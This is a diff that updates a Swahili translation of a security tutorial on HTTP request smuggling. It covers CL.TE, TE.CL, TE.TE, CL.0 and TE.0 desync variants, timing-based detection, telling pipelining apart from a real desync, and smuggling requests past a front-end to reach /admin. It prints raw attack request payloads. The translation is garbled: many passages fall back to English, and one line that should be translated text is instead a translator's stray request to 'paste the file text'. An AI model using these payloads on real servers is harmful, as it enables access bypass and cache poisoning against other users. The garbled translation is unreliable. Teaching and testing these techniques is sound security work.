+- back-end server, ikiheshimu `Content-Length`, inashughulikia sehemu tu ya awali ya request (`7b` bytes), na kuacha sehemu iliyobaki kama sehemu ya request inayofuata isiyotarajiwa.
+- **Mfano:**
 
 ```
 POST / HTTP/1.1
@@ -104,13 +105,13 @@ x=
 
 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
 
-- **Servers:** Zote zinasaidia `Transfer-Encoding`, lakini moja inaweza kudanganywa kuipuuza kupitia obfuscation.
-- **Attack Scenario:**
+- **Servers:** Zote zinaunga mkono `Transfer-Encoding`, lakini moja inaweza kudanganywa kuiacha bila kuisoma kupitia obfuscation.
+- **Senario ya Shambulizi:**
 
-- Mshambuliaji anatumia ombi lenye vichwa vya `Transfer-Encoding` vilivyojificha.
-- Kulingana na server ipi (front-end au back-end) inashindwa kutambua obfuscation, udhaifu wa CL.TE au TE.CL unaweza kutumika.
-- Sehemu isiyosindikwa ya ombi, kama inavyoonekana na moja ya servers, inakuwa sehemu ya ombi linalofuata, ikisababisha smuggling.
-- **Example:**
+- Mshambuliaji anatuma request yenye vichwa vya `Transfer-Encoding` vilivyofichika.
+- Kulingana na ni server gani (front-end au back-end) isiyotambua obfuscation, udhaifu wa CL.TE au TE.CL unaweza kutumika.
+- Sehemu isiyoshughulikiwa ya request, kama inavyoonekana na mojawapo ya server, inakuwa sehemu ya request inayofuata, na kusababisha smuggling.
+- **Mfano:**
 
 ```
 POST / HTTP/1.1
@@ -131,9 +132,9 @@ Transfer-Encoding
 
 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
 
-- Zote servers zinashughulikia ombi kulingana na kichwa cha `Content-Length` pekee.
-- Hali hii kwa kawaida haipelekei smuggling, kwani kuna ulinganifu katika jinsi servers zote zinavyotafsiri urefu wa ombi.
-- **Example:**
+- Server zote mbili zinashughulikia request kwa msingi wa kichwa `Content-Length`.
+- Hali hii kwa kawaida haileti smuggling, kwa kuwa kuna muafaka wa jinsi server zote zinavyotafsiri urefu wa request.
+- **Mfano:**
 
 ```
 POST / HTTP/1.1
@@ -146,9 +147,9 @@ Normal Request
 
 #### **CL.0 Scenario**
 
-- Inarejelea hali ambapo kichwa cha `Content-Length` kinapatikana na kina thamani isiyo sifuri, ikionyesha kwamba mwili wa ombi una maudhui. Back-end inapuuzilia mbali kichwa cha `Content-Length` (ambacho kinachukuliwa kama 0), lakini front-end inakichambua.
-- Ni muhimu katika kuelewa na kutengeneza mashambulizi ya smuggling, kwani inaathiri jinsi servers zinavyotambua mwisho wa ombi.
-- **Example:**
+- Inarejea kwenye senario ambapo kichwa `Content-Length` kipo na kina thamani isiyo sifuri, ikionyesha kuwa mwili wa request una maudhui. Back-end inaacha kuzingatia `Content-Length` (inachukuliwa kama 0), lakini front-end inakitafsiri.
+- Hii ni muhimu katika kuelewa na kutengeneza shambulizi za smuggling, kwani inaathiri jinsi server zinavyoamua mwisho wa request.
+- **Mfano:**
 
 ```
 POST / HTTP/1.1
@@ -161,8 +162,8 @@ Non-Empty Body
 
 #### TE.0 Scenario
 
-- Kama ile ya awali lakini ikitumia TE
-- Mbinu [iliyorekodiwa hapa](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
+- Kama ile ya awali lakini ukitumia TE.
+- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Example**:
 ```
 OPTIONS / HTTP/1.1
@@ -181,33 +182,34 @@ x: X
 EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
-#### Kuvunja seva ya wavuti
+#### Breaking the web server
 
-Teknolojia hii pia ni muhimu katika hali ambapo inawezekana **kuvunja seva ya wavuti wakati wa kusoma data ya awali ya HTTP** lakini **bila kufunga muunganisho**. Kwa njia hii, **mwili** wa ombi la HTTP utaonekana kama **ombile jingine la HTTP**.
+Mbinu hii pia inafaa katika matukio ambapo inawezekana **kuvunja web server wakati wa kusoma data za awali za HTTP** lakini **bila kufunga connection**. Kwa njia hii, **body** ya HTTP request itachukuliwa kama **next HTTP request**.
 
-Kwa mfano, kama ilivyoelezwa katika [**hiki andiko**](https://mizu.re/post/twisty-python), Katika Werkzeug ilikuwa inawezekana kutuma baadhi ya **Unicode** wahusika na itafanya seva **ivunje**. Hata hivyo, ikiwa muunganisho wa HTTP ulianzishwa na kichwa **`Connection: keep-alive`**, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo **mwili** wa ombi utaonekana kama **ombile jingine la HTTP**.
+For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.
 
-#### Kulazimisha kupitia vichwa vya hop-by-hop
+#### Kulazimisha kupitia hop-by-hop headers
 
-Kwa kutumia vichwa vya hop-by-hop unaweza kuonyesha proxy **kufuta kichwa cha Content-Length au Transfer-Encoding ili ombi la HTTP smuggling liweze kutumika vibaya**.
+Kutumia vibaya hop-by-hop headers unaweza kuashiria proxy ili **kufuta header Content-Length au Transfer-Encoding ili kutumika kwa HTTP request smuggling**.
 ```
 Connection: Content-Length
 ```
-Kwa **maelezo zaidi kuhusu vichwa vya hop-by-hop** tembelea:
+For **more information about hop-by-hop headers** visit:
+
 
 {{#ref}}
 ../abusing-hop-by-hop-headers.md
 {{#endref}}
 
-## Kupata HTTP Request Smuggling
+## Kutambua HTTP Request Smuggling
 
-Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanywa kwa kutumia mbinu za wakati, ambazo zinategemea kuangalia ni muda gani inachukua kwa seva kujibu maombi yaliyobadilishwa. Mbinu hizi ni muhimu sana katika kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine ambazo zinaweza kutumika kupata udhaifu kama huo:
+Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufikiwa kwa kutumia mbinu za muda (timing techniques), ambazo zinategemea kuchunguza ni muda gani server inachukua kujibu maombi yaliyobadilishwa. Mbinu hizi zinafaa hasa kwa kugundua udhaifu za CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine zinazoweza kutumika kutafuta udhaifu hizi:
 
-### Kupata Udhaifu wa CL.TE kwa Kutumia Mbinu za Wakati
+### Kutambua udhaifu za CL.TE kwa kutumia mbinu za muda
 
 - **Mbinu:**
 
-- Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
+- Tuma ombi ambalo, ikiwa programu ni dhaifu, litasababisha seva ya nyuma kusubiri data ya ziada.
 - **Mfano:**
 
 ```
@@ -222,19 +224,19 @@ A
 0
 ```
 
-- **Uangalizi:**
-- Seva ya mbele inashughulikia ombi kulingana na `Content-Length` na kukata ujumbe mapema.
-- Seva ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haitafika, na kusababisha kuchelewesha.
+- **Uchunguzi:**
+- Seva ya mbele inashughulikia ombi kulingana na `Content-Length` na inakata ujumbe mapema.
+- Seva ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haifiki, na kusababisha uchelewaji.
 
-- **Dalili:**
-- Timeout au ucheleweshaji mrefu katika majibu.
-- Kupokea makosa ya 400 Bad Request kutoka kwa seva ya nyuma, wakati mwingine ikiwa na maelezo ya kina ya seva.
+- **Viashiria:**
+- Kuisha kwa muda wa kusubiri (timeouts) au uchelewaji mrefu wa majibu.
+- Kupokea hitilafu 400 Bad Request kutoka kwa seva ya nyuma, mara nyingine ikiwa na maelezo ya kina ya seva.
 
-### Kupata Udhaifu wa TE.CL kwa Kutumia Mbinu za Wakati
+### Kutambua udhaifu za TE.CL kwa kutumia mbinu za muda
 
 - **Mbinu:**
 
-- Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
+- Tuma ombi ambalo, ikiwa programu ni dhaifu, litasababisha seva ya nyuma kusubiri data ya ziada.
 - **Mfano:**
 
 ```
@@ -248,42 +250,42 @@ Content-Length: 6
 X
 ```
 
-- **Uangalizi:**
-- Seva ya mbele inashughulikia ombi kulingana na `Transfer-Encoding` na inapeleka ujumbe mzima.
-- Seva ya nyuma, ikitarajia ujumbe kulingana na `Content-Length`, inasubiri data zaidi ambayo haitafika, na kusababisha kuchelewesha.
+- **Uchunguzi:**
+- Seva ya mbele inashughulikia ombi kulingana na `Transfer-Encoding` na inatuma ujumbe mzima.
+- Seva ya nyuma, ikitarajia ujumbe kulingana na `Content-Length`, inasubiri data ya ziada ambayo haifiki, na kusababisha uchelewaji.
 
-### Mbinu Nyingine za Kupata Udhaifu
+### Mbinu nyingine za kutafuta udhaifu
 
-- **Uchambuzi wa Majibu ya Tofauti:**
-- Tuma toleo lililobadilishwa kidogo la ombi na uangalie ikiwa majibu ya seva yanatofautiana kwa njia isiyotarajiwa, ikionyesha tofauti ya uchambuzi.
-- **Kutumia Zana za Kiotomatiki:**
-- Zana kama vile Burp Suite's 'HTTP Request Smuggler' zinaweza kujaribu kiotomatiki udhaifu hizi kwa kutuma aina mbalimbali za maombi yasiyo na uwazi na kuchambua majibu.
-- **Majaribio ya Tofauti za Content-Length:**
-- Tuma maombi yenye thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa maudhui na uangalie jinsi seva inavyoshughulikia tofauti hizo.
-- **Majaribio ya Tofauti za Transfer-Encoding:**
-- Tuma maombi yenye vichwa vya `Transfer-Encoding` vilivyofichwa au visivyo sahihi na uangalie jinsi seva za mbele na za nyuma zinavyoshughulikia mabadiliko kama hayo.
+- **Uchambuzi wa Mwitikio wa Tofauti:**
+- Tuma matoleo kidogo tofauti ya ombi na uchunguze ikiwa majibu ya seva yanatofautiana kwa njia isiyotegemewa, ikionyesha tofauti ya ufafanuzi (parsing discrepancy).
+- **Kutumia Zana Zilizo Otomatiki:**
+- Zana kama Burp Suite's 'HTTP Request Smuggler' extension zinaweza kujaribu moja kwa moja udhaifu hizi kwa kutuma aina mbalimbali za maombi yenye utata na kuchanganua majibu.
+- **Majaribio ya Mabadiliko ya Content-Length:**
+- Tuma maombi yenye thamani za `Content-Length` zinazobadilika ambazo hazilingani na urefu halisi wa maudhui na uchunguze jinsi seva inavyoshughulikia utofauti huo.
+- **Majaribio ya Mabadiliko ya Transfer-Encoding:**
+- Tuma maombi yenye vichwa vya `Transfer-Encoding` vilivyofichika au vilivyoharibika na fuatilia jinsi seva za mbele na nyuma zinavyotofautiana kuhimili marekebisho hayo.
 
-### Upimaji wa Udhaifu wa HTTP Request Smuggling
+### HTTP Request Smuggling Vulnerability Testing
 
-Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuthibitisha ikiwa maombi ya mteja yanaweza kubadilishwa. Mbinu rahisi ni kujaribu kuharibu maombi yako, kwa mfano, kufanya ombi kwa `/` kuleta jibu la 404. Mifano ya `CL.TE` na `TE.CL` zilizozungumziwa hapo awali katika [Mifano ya Msingi](#basic-examples) zinaonyesha jinsi ya kuharibu ombi la mteja ili kuleta jibu la 404, licha ya mteja kutaka kufikia rasilimali tofauti.
+Baada ya kuthibitisha ufanisi wa mbinu za muda, ni muhimu kuthibitisha ikiwa maombi ya mteja yanaweza kubadilishwa. Njia rahisi ni kujaribu kuchafua maombi yako, kwa mfano, kufanya ombi la `/` lirudishe jibu la 404. Mifano ya `CL.TE` na `TE.CL` zilizojadiliwa hapo awali katika [Basic Examples](#basic-examples) zinaonyesha jinsi ya kuchafua ombi la mteja ili kupata jibu la 404, licha ya mteja kutaka kufikia rasilimali tofauti.
 
-**Mambo Muhimu ya Kuangalia**
+**Mambo Muhimu ya Kuzingatia**
 
-Wakati wa kupima udhaifu wa request smuggling kwa kuingilia maombi mengine, kumbuka:
+Wakati wa kujaribu request smuggling kwa kuingilia maombi ya wengine, zingatia:
 
-- **Mawasiliano Mbalimbali ya Mtandao:** Maombi ya "shambulio" na "ya kawaida" yanapaswa kutumwa kupitia mawasiliano tofauti ya mtandao. Kutumia muunganisho mmoja kwa yote mawili hakuthibitishi uwepo wa udhaifu.
-- **URL na Parameta Zenye Mfanano:** Jaribu kutumia URLs na majina ya parameta sawa kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na parameta. Kulinganisha haya kunapanua uwezekano wa maombi yote mawili kushughulikiwa na seva ile ile, ambayo ni sharti la shambulio lililofanikiwa.
-- **Wakati na Masharti ya Mbio:** Ombi la "kawaida", lililokusudiwa kugundua kuingilia kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayoendelea. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zenye shughuli nyingi zinaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu.
-- **Changamoto za Usawazishaji wa Mizigo:** Seva za mbele zinazofanya kazi kama wasawazishaji wa mizigo zinaweza kugawa maombi kati ya mifumo mbalimbali ya nyuma. Ikiwa maombi ya "shambulio" na "ya kawaida" yanakutana kwenye mifumo tofauti, shambulio halitafanikiwa. Kipengele hiki cha usawazishaji wa mizigo kinaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
-- **Athari zisizokusudiwa kwa Watumiaji:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (sio ombi la "kawaida" ulilotuma kwa ajili ya kugundua), hii inaonyesha kuwa shambulio lako limeathiri mtumiaji mwingine wa programu. Kujaribu mara kwa mara kunaweza kuharibu watumiaji wengine, hivyo inahitajika kuwa na tahadhari.
+- **Muunganisho Tofauti wa Mtandao:** Maombi ya "attack" na "normal" yanapaswa kutumwa kwa muunganisho tofauti wa mtandao. Kutumia muunganisho mmoja kwa yote haya hakuthibitishi uwepo wa udhaifu.
+- **URL na Vigezo Vinavyolingana:** Lenga kutumia URL na majina ya vigezo vinavyofanana kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kuzingana kwa haya kunaongeza uwezekano kwamba maombi yote mawili yatashughulikiwa na seva ile ile, jambo muhimu kwa shambulio kufanikiwa.
+- **Muda na Mashindano (Racing Conditions):** Ombi la "normal", lililolenga kugundua kuingiliwa kutoka kwa ombi la "attack", linashindana na maombi mengine yanayotumwa kwa wakati mmoja. Kwa hivyo, tuma ombi la "normal" mara moja baada ya ombi la "attack". Programu zenye shughuli nyingi zinaweza kuhitaji jaribio nyingi ili kuthibitisha udhaifu kwa hakika.
+- **Changamoto za Usambazaji wa Mzigo (Load Balancing):** Seva za mbele zinazofanya kazi kama load balancers zinaweza kusambaza maombi kwa mifumo tofauti za nyuma. Ikiwa maombi ya "attack" na "normal" yanamalizika kwenye mifumo tofauti, shambulio hatatafanikiwa. Kipengele hiki cha load balancing kinaweza kuhitaji jaribio kadhaa ili kuthibitisha udhaifu.
+- **Athari zisizokusudiwa kwa Watumiaji:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (si ombi la "normal" uliotuma kwa ugunduzi), hili linaonyesha shambulio lako liliathiri mtumiaji mwingine wa programu. Kuendelea kufanya majaribio kunaweza kuingilia watumiaji wengine, hivyo inashauriwa kuzingatia tahadhari.
 
-## Kutofautisha kati ya vichwa vya HTTP/1.1 pipelining na udhaifu halisi wa request smuggling
+## Kutofautisha vikoromeo vya pipelining za HTTP/1.1 dhidi ya request smuggling halisi
 
-Kurejelewa kwa muunganisho (keep-alive) na pipelining kunaweza kwa urahisi kuzalisha dhana za "smuggling" katika zana za kupima zinazotuma maombi mengi kwenye socket moja. Jifunze kutenganisha vichwa vya upande wa mteja visivyo na madhara kutoka kwa desync halisi ya upande wa seva.
+Matumizi upya ya muunganisho (keep-alive) na pipelining vinaweza kwa urahisi kuunda udanganyifu wa "smuggling" katika zana za upimaji ambazo zimetuma maombi mengi kwenye socket moja. Jifunze kutenganisha vikoromeo visivyo hatari vya upande wa mteja kutoka kwa desync halisi upande wa server.
 
-### Kwa nini pipelining inazalisha positives za uwongo za kawaida
+### Kwa nini pipelining huunda false positives za kawaida
 
-HTTP/1.1 inatumia muunganisho mmoja wa TCP/TLS na kuunganisha maombi na majibu kwenye mtiririko mmoja. Katika pipelining, mteja anatuma maombi mengi mfululizo na kutegemea majibu kwa mpangilio. Positive ya kawaida ya uwongo ni kurudisha payload isiyo sahihi ya mtindo wa CL.0 mara mbili kwenye muunganisho mmoja:
+HTTP/1.1 inatumia tena muunganisho mmoja wa TCP/TLS na kuunganisha maombi na majibu kwenye mtiririko mmoja. Katika pipelining, mteja anatumia maombi mengi mfululizo na kutegemea majibu kwa mpangilio. False-positive ya kawaida ni kutuma tena payload mbovu ya mtindo wa CL.0 mara mbili kwenye muunganisho mmoja:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -292,7 +294,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Majibu yanaweza kuonekana kama:
+I need the content of src/pentesting-web/http-request-smuggling/README.md to translate — please paste the file text here.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -306,7 +308,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Ikiwa seva ilipuuzilia mbali `Content_Length` isiyo sahihi, hakuna FE↔BE desync. Kwa kutumia tena, mteja wako kwa kweli alituma mtiririko huu wa byte, ambao seva ilichambua kama maombi mawili huru:
+Ikiwa server ilipuuzia `Content_Length` iliyoharibika, hakuna FE↔BE desync. Kwa utumiaji tena, client yako kwa kweli ilituma mfululizo huu wa bytes, ambao server uliutafsiri kama maombi mawili huru:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -320,78 +322,78 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impact: hakuna. Umeondoa ushirikiano wa mteja wako kutoka kwa muundo wa seva.
+Athari: hakuna. Ume desynced client yako kutoka kwenye server framing.
 
 > [!TIP]
-> Moduli za Burp zinazotegemea matumizi ya upya/pipelining: Turbo Intruder na `requestsPerConnection>1`, Intruder na "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" au "Enable connection reuse".
+> Burp modules zinazotegemea reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
 
-### Jaribio la Litmus: pipelining au desync halisi?
+### Mitihani ya Litmus: pipelining au desync halisi?
 
-1. Zima matumizi ya upya na ujaribu tena
-- Katika Burp Intruder/Repeater, zima HTTP/1 reuse na epuka "Send group in sequence".
-- Katika Turbo Intruder, weka `requestsPerConnection=1` na `pipeline=False`.
-- Ikiwa tabia inatoweka, ilikuwa labda pipelining ya upande wa mteja, isipokuwa unashughulika na malengo yaliyofungwa kwenye muunganisho/yanayohifadhi hali au desync ya upande wa mteja.
-2. Ukaguzi wa majibu ya ndani ya HTTP/2
-- Tuma ombi la HTTP/2. Ikiwa mwili wa jibu una jibu kamili la ndani la HTTP/1, umethibitisha hitilafu ya uchambuzi/desync ya nyuma badala ya kipande safi cha mteja.
-3. Uchunguzi wa ombi la sehemu kwa mbele zilizofungwa kwenye muunganisho
-- Baadhi ya FEs hutumia tena muunganisho wa BE wa juu tu ikiwa mteja alitumia tena wao. Tumia ombi la sehemu kugundua tabia ya FE inayofanana na matumizi ya upya ya mteja.
-- Tazama PortSwigger "Browser‑Powered Desync Attacks" kwa mbinu ya kufungwa kwa muunganisho.
-4. Uchunguzi wa hali
-- Angalia tofauti za ombi la kwanza dhidi ya zile zinazofuata kwenye muunganisho mmoja wa TCP (routing/validation ya ombi la kwanza).
-- Burp "HTTP Request Smuggler" inajumuisha uchunguzi wa hali ya muunganisho unaoandaa hii.
-5. Onyesha waya
-- Tumia nyongeza ya Burp "HTTP Hacker" kuchunguza muunganiko na muundo wa ujumbe moja kwa moja wakati wa kujaribu matumizi ya upya na maombi ya sehemu.
+1. Disable reuse and re-test
+- Kwenye Burp Intruder/Repeater, zima HTTP/1 reuse na usitumie "Send group in sequence".
+- Kwenye Turbo Intruder, weka `requestsPerConnection=1` na `pipeline=False`.
+- Kama tabia inapotea, kwa kawaida ilikuwa client-side pipelining, isipokuwa ukikabiliana na targets connection-locked/stateful au client-side desync.
+2. HTTP/2 nested-response check
+- Tuma ombi la HTTP/2. Ikiwa mwili wa response una nested HTTP/1 response kamili, umeonyesha bug ya backend parsing/desync badala ya artifact ya client peke yake.
+3. Partial-requests probe for connection-locked front-ends
+- Baadhi ya FEs zinareuse tu upstream BE connection ikiwa client ilireuse yao. Tumia partial-requests kugundua tabia ya FE inayolingana na client reuse.
+- Angalia PortSwigger "Browser‑Powered Desync Attacks" kwa mbinu ya connection-locked.
+4. State probes
+- Tazama tofauti kati ya first- vs subsequent-request kwenye TCP connection ile ile (first-request routing/validation).
+- Burp "HTTP Request Smuggler" ina connection‑state probe inayooautomatisha hili.
+5. Visualize the wire
+- Tumia Burp "HTTP Hacker" extension kuangalia concatenation na message framing moja kwa moja huku ukijaribu reuse na partial requests.
 
-### Uhamasishaji wa ombi lililofungwa kwenye muunganisho (inahitaji matumizi ya upya)
+### Connection‑locked request smuggling (reuse-required)
 
-Baadhi ya mbele zinaweza kutumia tena muunganisho wa juu tu wakati mteja anatumia tena wao. Uhamasishaji halisi upo lakini unategemea matumizi ya upya ya upande wa mteja. Ili kutofautisha na kuthibitisha athari:
-- Thibitisha hitilafu ya upande wa seva
-- Tumia ukaguzi wa majibu ya ndani ya HTTP/2, au
-- Tumia maombi ya sehemu kuonyesha FE inatumia tena muunganisho wa juu tu wakati mteja anafanya hivyo.
-- Onyesha athari halisi hata kama matumizi ya moja kwa moja ya soketi za mtumiaji tofauti yamezuiwa:
-- Uharibifu wa cache: uharibifu wa caches zilizoshirikiwa kupitia desync ili majibu yaathiri watumiaji wengine.
-- Ufunuo wa kichwa cha ndani: rudisha vichwa vilivyowekwa na FE (mfano, vichwa vya uthibitisho/kuamini) na pivot kwa kukwepa uthibitisho.
-- Pita udhibiti wa FE: uhamasishaji wa njia/mifumo iliyozuiwa kupita mbele.
-- Ukatili wa kichwa cha mwenyeji: changanya na tabia za routing za mwenyeji ili pivot kwa vhosts za ndani.
-- Mchakato wa operator
-- Rudia na matumizi ya kudhibitiwa (Turbo Intruder `requestsPerConnection=2`, au Burp Repeater tab group → "Send group in sequence (single connection)").
-- Kisha ungana na msingi wa uharibifu wa cache/kichwa-leak/kukwepa udhibiti na kuonyesha athari za mtumiaji tofauti au uthibitisho.
+Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
+- Prove the server-side bug
+- Use the HTTP/2 nested-response check, or
+- Use partial-requests to show the FE only reuses upstream when the client does.
+- Show real impact even if direct cross-user socket abuse is blocked:
+- Cache poisoning: poison shared caches via the desync so responses affect other users.
+- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
+- Bypass FE controls: smuggle restricted paths/methods past the front-end.
+- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
+- Operator workflow
+- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
+- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
 
-> Tazama pia mashambulizi ya hali ya muunganisho, ambayo yana uhusiano wa karibu lakini si uhamasishaji wa kiufundi:
+> See also connection‑state attacks, which are closely related but not technically smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
 >{{#endref}}
 
-### Vikwazo vya desync vya upande wa mteja
+### Client‑side desync constraints
 
-Ikiwa unalenga desync ya upande wa kivinjari/mteja, ombi la uhalifu lazima liweze kutumwa na kivinjari kutoka chanzo tofauti. Hila za kuficha vichwa hazitafanya kazi. Lenga kwenye misingi inayoweza kufikiwa kupitia urambazaji/kuleta, kisha pivot kwa uharibifu wa cache, ufunuo wa kichwa, au kukwepa udhibiti wa mbele ambapo vipengele vya chini vinareflect au kuhifadhi majibu.
+If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
 
-Kwa maelezo ya nyuma na michakato ya mwisho hadi mwisho:
+For background and end-to-end workflows:
 
 {{#ref}}
 browser-http-request-smuggling.md
 {{#endref}}
 
-### Zana za kusaidia kuamua
+### Tooling to help decide
 
-- HTTP Hacker (Burp BApp Store): inafichua tabia ya chini ya HTTP na muunganiko wa soketi.
-- "Uhamasishaji au pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
-- Turbo Intruder: udhibiti sahihi juu ya matumizi ya muunganisho kupitia `requestsPerConnection`.
-- Burp HTTP Request Smuggler: inajumuisha uchunguzi wa hali ya muunganisho ili kugundua routing/validation ya ombi la kwanza.
+- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
+- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
+- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
+- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
 
 > [!NOTE]
-> Chukulia athari za matumizi ya upya pekee kama si masuala isipokuwa unaweza kuthibitisha desync ya upande wa seva na kuambatanisha athari halisi (kipande cha cache kilichoharibiwa, kichwa cha ndani kilichovuja kinachowezesha kukwepa mamlaka, udhibiti wa FE ulioepukwa, nk).
+> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
 
-## Kutumia Uhamasishaji wa Ombi la HTTP
+## Abusing HTTP Request Smuggling
 
-### Kupita Usalama wa Mbele kupitia Uhamasishaji wa Ombi la HTTP
+### Circumventing Front-End Security via HTTP Request Smuggling
 
-Wakati mwingine, proxies za mbele zinaweka hatua za usalama, zikichunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia Uhamasishaji wa Ombi la HTTP, kuruhusu ufikiaji usioidhinishwa kwa maeneo yaliyopigwa marufuku. Kwa mfano, kufikia `/admin` kunaweza kuwa marufuku nje, huku proxy ya mbele ikizuia juhudi kama hizo. Hata hivyo, proxy hii inaweza kupuuzia kuangalia maombi yaliyojumuishwa ndani ya ombi la HTTP lililohamasishwa, ikiacha pengo la kukwepa vizuizi hivi.
+Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
 
-Fikiria mifano ifuatayo inayoonyesha jinsi Uhamasishaji wa Ombi la HTTP unaweza kutumika kukwepa udhibiti wa usalama wa mbele, hasa ikilenga njia ya `/admin` ambayo kwa kawaida inalindwa na proxy ya mbele:
+Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
 
-**Mfano wa CL.TE**
+**CL.TE Example**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -408,7 +410,7 @@ Content-Length: 10
 
 x=
 ```
-Katika shambulio la CL.TE, kichwa cha `Content-Length` kinatumika kwa ombi la awali, wakati ombi lililo ndani linatumia kichwa cha `Transfer-Encoding: chunked`. Proxy ya mbele inashughulikia ombi la awali la `POST` lakini inashindwa kukagua ombi lililo ndani la `GET /admin`, ikiruhusu ufikiaji usioidhinishwa wa njia ya `/admin`.
+Katika shambulio la CL.TE, kichwa `Content-Length` kinatumika kwa ombi la awali, wakati ombi lililojumuishwa baadaye linatumia kichwa `Transfer-Encoding: chunked`. front-end proxy inashughulikia ombi la awali la `POST` lakini inashindwa kuchunguza ombi lililojumuishwa la `GET /admin`, na hivyo kuruhusu upatikanaji usioidhinishwa wa njia ya `/admin`.
 
 **TE.CL Mfano**
 ```
@@ -426,13 +428,13 @@ a=x
 0
 
 ```
-Kwa upande mwingine, katika shambulio la TE.CL, ombi la awali la `POST` linatumia `Transfer-Encoding: chunked`, na ombi lililoingizwa linasindika kulingana na kichwa cha `Content-Length`. Kama ilivyo katika shambulio la CL.TE, proxy ya mbele inapuuzilia mbali ombi la smuggled `GET /admin`, bila kukusudia ikitoa ufikiaji kwa njia iliyo na vizuizi ya `/admin`.
+Kwa upande mwingine, katika shambulio la TE.CL, ombi la awali la `POST` linatumia `Transfer-Encoding: chunked`, na ombi lililofichwa ndani lililofuata linashughulikiwa kulingana na kichwa cha `Content-Length`. Kama katika shambulio la CL.TE, front-end proxy inapuuza ombi lililosmugglowa la `GET /admin`, na kwa bahati mbaya ikiruhusu upatikanaji wa njia iliyozuiliwa `/admin`.
 
-### Kufichua uandishi wa ombi la mbele <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Kufichua urekebishaji wa maombi wa front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
